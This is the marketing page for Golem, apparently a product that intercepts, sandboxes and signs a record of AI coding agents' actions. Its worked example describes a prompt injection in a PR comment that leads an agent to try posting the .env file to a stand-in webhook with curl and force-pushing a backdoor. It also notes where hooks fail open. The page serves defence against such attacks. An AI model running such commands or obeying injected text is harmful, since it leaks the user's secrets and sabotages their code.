Free public preview · AI Detection & Response

Your agents act.
Golem

Golem sits in the path of everything your coding agents do, stops the dangerous call before it runs, and signs a record of every action that nobody can quietly edit.

Detects a hijacked agent Investigates with its own agents Blocks before it runs Contains the machine Proves all of it

Start free ▸ See a hijack stopped

Claude CodeCursorCodexGitHub CopilotAntigravityDevinGemini CLIany MCP client

Free while in preview · one-line install · raw data can stay in your own bucket.

Why this exists

An agent with your credentials is a stranger with your keys.

It reads untrusted content, calls tools and hits the network, headlessly and faster than you can watch. Three questions have no good answers today.

Danger

Is this safe to touch?

A poisoned web page or PR comment can turn your agent against you. Nothing checks the URL or the tool call at the moment it fires.

Proof

What did it actually do?

“An agent called an endpoint” is not evidence. Logs can be edited. After the fact, you cannot prove which agent, with what scope, touched what.

Blind spots

What's even running?

Shadow MCP servers, unvetted tool calls, silent token burn. The agent surface grows faster than anyone's map of it.

Where Golem sits

Most agent security lives in the agent's own hook. Golem also goes underneath it.

A pre-tool hook is cooperative: the agent's runtime calls it and honours its answer. That stops a misbehaving model. It does not stop a runtime that skips its hooks, or what a shell command starts once it is running. Golem answers those hooks too, and adds three layers below them.

MCP

Golem is the server the client calls

An agent's MCP traffic goes through Golem on its way to the real server, so a refused call never reaches it. That does not depend on the agent choosing to ask first.

Every shell command

A kernel jail around each one

On macOS, every shell command a Claude Code session runs starts inside the Mac's own sandbox. Private keys, shell history, git credentials and Golem's own files stay unreadable, whatever the command or anything it starts tries. ssh, git signing, Docker and cloud CLIs keep working.

Untrusted work

A throwaway VM for the riskiest part

A page from an issue, a repo from a PR, a download nobody vetted: the agent hands it to a locked-down child in a VM with no credentials, and gets back an answer or a patch plus everything the child tried that it wasn't allowed to.

How long a decision takes: About 0.3 µs for an MCP or file call and 2 to 11 µs for a shell line. A local rule check: no network hop, no model.
What the jail costs: About 30 ms per shell command. It waits at most 250 ms for policy, then applies a baseline.
If Golem stops: The jail keeps its baseline: credential stores and persistence writes stay denied. The agents' hooks let calls through rather than stall your work. If an MCP server behind Golem is down, calls fail open by default; a profile can make them fail closed.
Taking it out: One command removes the service, the binary, and every hook and MCP entry it added.
Where it runs: macOS, Linux and Windows. The shell jail is for Claude Code on macOS; the VM sandbox needs Apple silicon with macOS 26 or later.
Rolling it out: One line on a laptop, or the same installer pushed through Jamf, Intune or Kandji across a fleet.

Layer	Works in	Platforms
Answers the hook: block, hold, a reason on refusal	Claude Code, Cursor, Codex, GitHub Copilot, Antigravity, Devin, Gemini CLI; Hermes and OpenClaw by plugin	macOS, Linux, Windows
The MCP path	Any MCP client	macOS, Linux, Windows
Kernel jail on every shell command	Claude Code	macOS
VM sandbox for untrusted work	Any agent that can call Golem's MCP tools	Apple silicon, macOS 26 or later
Signed record	Everything above	All of them

A hold appears as the client's own approval prompt where it has one. Cursor prompts only in its Allowlist run mode; in its other modes a hold is refused, never quietly allowed.

The Protections screen in the Golem console: the built-in rule pack, each rule a plain sentence over its CEL expression, with an Off, Watch, Warn, Ask or Block setting beside it. — Every rule reads as a sentence and as the CEL that enforces it, with one setting from Off to Block. From a real Golem workspace; hostnames, repositories and paths pixelated.

One hijack, start to finish

A poisoned PR comment, and what Golem does with it.

Prompt injection doesn't need to breach your machine. It just needs your agent to read the wrong thing while it holds your keys. The messages below are the ones Golem actually returns; rule names and ids are examples.

▹

The setup your agent reads a stranger's text

You ask your agent to check the review feedback on a PR. It runs gh pr view 482 --comments. A comment left after you opened the PR carries hidden instructions, now in the context of an agent on a laptop already signed in to gh and your cloud.

●

Golem reads it too and tightens the session

With the injection check on, Golem scores what the command returned. A rule on that score taints the session: from then on, its shell commands run with no network, no credentials, and writes only inside the repo.

The exfiltration attempt runs, and goes nowhere

Following the comment, the agent tries to post your .env to a webhook. The command runs inside the jail and cannot connect.

$ curl -d @.env https://hooks.example.net/collect ✕ this session has no network: the request never leaves the machine

The force-push refused before it runs

It tries to push a backdoor straight to main. The workspace's rule refuses the call before Claude Code runs it, and tells the agent why:

$ git push --force origin main blocked by Golem policy (rule "no-force-push-to-main", decision gd_3f9a1c07b2e4d815). Trying again won't change this; if you need it, ask your security team and quote the decision id.

⛬

The record signed, in order

The score, the taint, the failed request and the refusal are each signed as they happen, outside the agent, and chained to the entry before them. Your security team reads the whole sequence in the console, and can hand it to an auditor.

seq 41 previous_hash 9f2c41…e1a7 entry_hash 4b8d0e…07c3 = SHA-256(payload ‖ previous_hash) payload bom_version 2 · session_id 01JB7… · agent_id claude-code-builtin event_type policy_decision · tool_name Bash · payload_hash c1d95a…5e20 signature COSE_Sign1 · ES256 · kid 3e7a19…

An entry, abbreviated. Values are examples.

The Alerts screen: prompt-injection classifier hits on tool results with their scores, and a blocked shell command, each with Resolve and Escalate. — Alerts: what the injection check and the rules caught, waiting on a person. From a real Golem workspace; hostnames, repositories and paths pixelated.

What you get

Detect, block, contain and prove, from one layer in the path.

The security graph: hosts linked to the agents they ran, the MCP servers those agents called, and the tools they used, drawn from what actually ran. — The security graph, drawn from what ran: hosts, agents, MCP servers, tools. From a real Golem workspace; hostnames, repositories and paths pixelated.

Independent capture

Captured, not self-reported

Golem records what your agents do from outside them: the coding agents, their AI-model calls, even the browser. A record the agent writes about itself is not evidence.

from outside the agent

Real-time defense

Block, or hold for a person

Every call is checked against known threats and your rules, then let through, refused with a reason the agent can act on, or held for your approval in the client's own prompt.

before the action lands

Containment

Quarantine a machine

When a host looks compromised, every new session on it comes up restricted until someone with the authority clears it. It keeps reporting the whole time, so the evidence keeps arriving while its reach is cut.

reversible by design

Supply chain

What agents load, checked

Every agent's MCP servers, skills, hooks and instruction files are scanned, and an MCP server nobody approved can be alerted on or blocked until an admin says yes.

servers · skills · hooks

Data sovereignty

Your data stays yours

Raw payloads go to your own bucket and Golem keeps only hashes and signatures, or Golem holds them encrypted under a key per workspace. Sensitive fields can be redacted before anything is written.

your bucket · per-workspace keys · redaction

Investigation

Its own analysts read the sessions

Golem's investigators read what an agent said beside what it did, and raise flags for a person rather than act on their own. A person can escalate a flag into a security case.

flags · cases · evidence export

All capabilities, the sandbox, and how it works →

Questions a security team asks

The short answers.

What leaves my machines?

Raw payloads go to your own bucket (S3, GCS, Azure or local disk), or to Golem's, encrypted under a key for your workspace alone. Golem's record holds hashes and signatures. Secrets and sensitive fields can be redacted before anything is written, and the record still verifies. Where your data goes.

Does a model decide what gets blocked?

No. The block decision is a local rule check, with no model and no network hop. Models only read sessions afterwards, to raise flags for a person. That review runs on the provider, key and model you choose, or Golem's, under a monthly ceiling in dollars, and reading payload bodies is off until you turn it on. Rules · Session review.

What happens if Golem goes down?

The shell jail keeps a baseline, so credential stores and persistence writes stay denied. The agents' hooks let calls through rather than stall your engineers. If an MCP server behind Golem is down, calls fail open by default, and a profile can make them fail closed. When Golem is down.

How do we roll it out, and take it back?

One line on a laptop, or the same installer pushed through Jamf, Intune or Kandji. One command removes all of it. Fleet rollout · Uninstall.

What does it change on an engineer's machine?

It installs the golem binary and a per-user background service. In each agent client it finds, it adds Golem's own entries and leaves every other one alone: for Claude Code, a golem-* MCP entry in ~/.claude.json and hooks in ~/.claude/settings.json; for Cursor, ~/.cursor/hooks.json and ~/.cursor/mcp.json; and the equivalent files for Codex, Copilot, Antigravity, Devin and Gemini CLI. If you manage those files from a repo, re-running the setup repairs only Golem's keys. What it changes.

What doesn't it do yet?

The shell jail is for Claude Code on macOS, and the VM sandbox needs Apple silicon with macOS 26 or later. Where a client offers only a hook, Golem's control there is as strong as that hook. We'd rather you hear that here than in a pilot. Limits, and what Golem does not do.

What does it cost?

Nothing during the free public preview. Talk to us if you need to know what comes after it before you start.

Your agents act.
Golem